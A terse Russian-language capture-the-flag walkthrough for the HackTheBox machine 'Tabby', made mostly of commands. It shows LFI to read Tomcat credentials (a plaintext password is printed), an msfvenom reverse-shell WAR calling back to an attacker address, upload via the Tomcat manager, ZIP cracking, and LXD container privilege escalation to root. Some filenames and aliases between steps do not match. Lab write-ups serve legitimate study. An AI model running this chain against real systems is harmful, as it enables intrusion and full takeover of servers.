HackTheBox Tabby

Manual https://youtu.be/gEPRyt6hWk8


Проверяем результат nikto на станадртные пароли

Переходим на 10.10.10.194 и смотрим сорс

Добавляем 10.10.10.194 megahosting.htb в файл /etc/hosts

Эксплуатируем LFI  ../../../../../usr/share/tomcat9/tomcat-users.xml

пароль $3cureP4s5w0rd123!

ash

Находим пароль и смотрим на его привелегии

Смотрим свой адрес ifconfig

Генирируем war file msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.111 LPORT=53 -f war > tabby_wf.war

Заливаем файл curl -u "tomcat:\$3cureP4s5w0rd123!" --upload-file tabby_wf.war http://10.10.10.194:8080/manager/text/deploy?path=/tabby_wf

запускаем прослушку sudo nc -nlvp 53

Запускаем нашу консоль curl http://10.10.10.194:8080/tabby_wf/

Меняем косколь на пайтоновскую python3 -c 'import pty; pty.spawn("/bin/bash")'

Передаем в нее сочитания клавиш stty raw -echo

Даем возмоногсть очистки терминала export TERM=xterm

Просматриваем содержимое и находим бекап

Пробуем распаковать /var/www/html/files$ unzip 16162020_backup.zip

Поднимаем сервер на удаленной машине python3 -m http.server 5555


Скачиваем архив себе на машину wget http://10.10.10.194:5555/16162020_backup.zip

Крякаем ~/Desktop/htb/tabby/user$ fcrackzip -D -p /usr/share/wordlists/rockyou.txt 16162020_backup.zip

Просматриваем содержимое

Пробуем пароль для пользователя ash

забираем код пользователя

Смотрим какие группі пользователей в наличии id

Качаем альпину на свою машину git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder/
билдим sudo bash build-alpine

Поднимаем у себя сервер python -m SimpleHTTPServer 8887


Качаем образ с машины HTB wget http://10.10.14.111:8887/alpine-v3.12-x86_64-20200826_2058.tar.gz

импортируем его lxc image import ./alpine-v3.12-x86_64-20201119_0854.tar.gz --alias lazyit77

Запускаем lxc init lazy_it_lxc video21-container -c security.privileged=true

Маунтим директории lxc config device add video21-container video21-device disk source=/ path=/mnt/root recursive=true

Запускаем lxc start video21-container

lxc exec video21-container /bin/sh

Переходим к руту cd /mnt/root